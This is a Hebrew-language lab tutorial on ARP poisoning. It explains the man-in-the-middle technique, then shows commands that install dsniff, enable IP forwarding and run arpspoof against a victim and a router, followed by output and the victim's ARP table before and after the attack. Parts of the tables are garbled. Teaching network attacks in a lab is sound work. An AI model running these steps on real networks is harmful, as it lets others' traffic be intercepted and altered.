# **ARP Poisoning**

#### מטרת התקיפה

כיום בסביבת הרשת מחשבים מחוברים ביניהם באמצעות מתגים .צורת העבודה של מתגים לא מאפשרת לצותת לתעבורת Unicast שאנו לא חלק ממנה.

- Gateway זו תקיפה מסוג attack middle-the-in-Man שמאפשרת לתוקף להתחזות ל Arp Poisoning או ליעד אחר שאתו הקורבן רוצה לתקשר.

התקפה מוצלחת גורמת לתעבורת הרשת של הקורבן לעבור דרך התוקף וכך התוקף יכול להאזין ואף לשנות את המידע שעובר בין שני התקנים.

# כיצד עובדת התקפת ARP Poisoning?

ההתקפה מכוונת לטבלת Cache ARP של הקורבן. ההתקפה יעילה רק אם התוקף והקורבן נמצאים באותו Domain Broadcast. בכדי להתחזות ליעד, התוקף שולח לקורבן (ARP Gratuitous) Replay ARP) ובו מצוינת הכתובת IP של היעד והכתובת הפיסית של התוקף. כך התוקף מצליח לזייף רשומה בטבלת cache ARP של הקורבן וגורם לו לחשוב שהתוקף הוא היעד.

### <u>ביצוע התקיפה</u>

שלב מקדים: התקנת כלי התקיפה Dsniff

```
root⊗ kali)-[~]

# apt install dsniff
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
dsniff is already the newest version (2.4b1+debian-30+b1).

0 upgraded, 0 newly installed, 0 to remove and 1583 not upgraded.

[root⊗ kali)-[~]
```

1. הפעלת ניתוב במערכת ההפעלה כדי שהמידע יזרום

```
(root ⊗ kali)-[~]
# echo 1 > /proc/sys/net/ipv4/ip forward

(root ⊗ kali)-[~]
# ss
```

## 2. שליחת ARP Replay לקורבן **ולראוטר** כדי שהם יחשבו שאני המקור∖יעד

```
root © keli)-[~]

# arpspoof -i eth0 -t 192.168.1.45 192.168.1.1 -r

0:c:29:3e:2e:e5 0:c:29:42:74:ee 0806 42: arp reply 192.168.1.1 is-at 0:c:29:3 e:2e:e5

0:c:29:3e:2e:e5 8c:fd:de:81:c8:9c 0806 42: arp reply 192.168.1.45 is-at 0:c:2 9:3e:2e:e5

^X@sS0:c:29:3e:2e:e5 0:c:29:42:74:ee 0806 42: arp reply 192.168.1.1 is-at 0:c:29:3e:2e:e5

0:c:29:3e:2e:e5 0:c:29:3e:2e:e5 8c:fd:de:81:c8:9c 0806 42: arp reply 192.168.1.45 is-at 0:c:2 9:3e:2e:e5
```

#### לראייה טבלת ה Cache ARP במחשב המותקף לפני התקיפה ואחרי התקיפה:

```
C:\Users\user>arp -a
Interface: 192.168.1.45 --- 0xa
 Internet Address Physical Address
                                                  Type
                                                  dynamic
  192.168.1.1
                         8c-fd-de-81-c8-9c
 192.168.1.13 b4-b6-86-a5-6e-ef
192.168.1.19 18-90-d8-e5-fc-b1
192.168.1.21 18-90-d8-e5-f5-33
192.168.1.44 00-0c-29-3e-2e-e5
                                                dynamic
                                                dynamic
                                                 dynamic
                                                 dynamic
                      ff-ff-ff-ff-ff
01-00-5e-00-00-16
  192.168.1.255
                                                static
  224.0.0.22
                                                 static
                        01-00-5e-00-00-fb
  224.0.0.251
                                                 static
                        01-00-5e-00-00-fc
 224.0.0.252
                                                static
                      01-00-5e-7f-ff-fa
 239.255.255.250
                                                static
  255.255.255.255
                         ff-ff-ff-ff-ff
                                                  static
C:\Users\user>arp -a
Interface: 192.168.1.45 --- 0xa
 Internet Address Physical Address
                                                  Type
 192.168.1.1 00-0c-29-3e-2e-29-192.168.1.13 b4-b6-86-a5-6e-ef
192.168.1.19 18-90-d8-e5-fc-b1
                                                  dynamic
                                                 dynamic
                                                 dynamic
 192.168.1.21
                         18-90-d8-e5-f5-33
                                                  dynamic
  192.168.1.44
                          00-0c-29-3e-2e-e5
                         ff-ff-ff-ff-ff
 192.168.1.255
                                                 static
  224.0.0.22
                        01-00-5e-00-00-16
                                                 static
                                                 static
 224.0.0.251
                         01-00-5e-00-00-fb
                         01-00-5e-00-00-fc
 224.0.0.252
                                                 static
                        01-00-5e-7f-ff-fa
ff-ff-ff-ff-ff
 239.255.255.250
                                                 static
  255.255.255.255
                                                 static
C:\Users\user>
```